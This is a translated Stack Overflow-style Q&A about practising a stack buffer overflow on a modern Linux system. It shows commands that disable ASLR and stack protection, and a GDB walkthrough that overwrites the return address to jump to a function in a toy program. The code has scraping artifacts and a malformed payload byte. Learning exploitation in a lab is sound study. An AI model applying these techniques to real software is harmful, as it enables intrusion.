如何在现代系统上测试缓冲区溢出?

Mac*_*yer 7 c stack-overflow gcc

我目前对学习如何进行缓冲区溢出感兴趣.我已经完成了相当多的程序集,并了解了堆栈的工作原理以及如何在C中实现缓冲区溢出.但是,我遇到了很多麻烦,试图让GCC 4.9.1允许我溢出缓冲得当.我正在运行Debian Jessie.

是我试图遵循的教程,在2.2节中.我复制/粘贴了他提供的C程序,我使用的是相同的Perl脚本,所以一切都与他的情况完全相同(当然除了系统).

这些是我一贯得到的结果:

 ~/projects/buffer-overflow$ ls
 run.pl  test.c
 ~/projects/buffer-overflow$ sudo su 
 root@wash# echo "0" > /proc/sys/kernel/randomize_va_space 
 root@wash# exit
 exit
 ~/projects/buffer-overflow$ gcc -m32 -fno-stack-protector -zexecstack test.c 
 ~/projects/buffer-overflow$ ./run.pl 
 Address of foo = 0x804845b
 Address of bar = 0x80484a4
 My stack looks like:
 (nil)
 0xffffd4a8
 0xf7e58b2f
 0xf7fb3ac0
 0x8048657
 0xffffd494

 ABCDEFGHIJKLMNOPP@
 Now the stack looks like:
 0xffffd718
 0xffffd4a8
 0xf7e58b2f
 0xf7fb3ac0
 0x42418657
 0x46454443
Run Code Online (Sandbox Code Playgroud)

小智 2

Perl 脚本在这里并不是特别有用,不同的系统将使用不同的地址,所以让我们不使用脚本来完成它......

\n\n

首先,找出覆盖返回地址所需的确切字节数。我们可以使用 GDB 和 Perl 来做到这一点:

\n\n
(gdb) run `perl -e \'print "A" x 26\';`\nAddress of foo = 0x804845b\nAddress of bar = 0x80484a5\nMy stack looks like:\n0xf7fb1000\n0xffffdab8\n0xf7e44476\n0xf7fb1d60\n0x8048647\n 0xffffdaa8\n\nAAAAAAAAAAAAAAAAAAAAAAAAAA\nNow the stack looks like:\n0xffffdcbb\n0xffffdab8\n0xf7e44476\n0xf7fb1d60\n0x41418647\n0x41414141\n\n\nProgram received signal SIGSEGV, Segmentation fault.\n0x41414141 in ?? ()\n
Run Code Online (Sandbox Code Playgroud)\n\n

正如你所看到的,26 个字节将覆盖 EIP,因此通过用我们的 bar() 函数地址替换最后四个“A”字符(不要忘记将其以小端格式),我们应该会成功:

\n\n
(gdb) run `perl -e \'print "A" x 22\';``perl -e \'print "\\xa5\\x84\\x04\\x8"\';`\nAddress of foo = 0x804845b\nAddress of bar = 0x80484a5\nMy stack looks like:\n0xf7fb1000\n0xffffdab8\n0xf7e44476\n0xf7fb1d60\n0x8048647\n 0xffffdaa8\n\nAAAAAAAAAAAAAAAAAAAAAA\xef\xbf\xbd\xef\xbf\xbd\nNow the stack looks like:\n0xffffdcbb\n0xffffdab8\n0xf7e44476\n0xf7fb1d60\n0x41418647\n0x41414141\n\nAugh! I\'ve been hacked!\n\nProgram received signal SIGSEGV, Segmentation fault.\n0xffffdc06 in ?? ()\n
Run Code Online (Sandbox Code Playgroud)\n\n

正如你所看到的,我们成功返回到函数bar()。

\n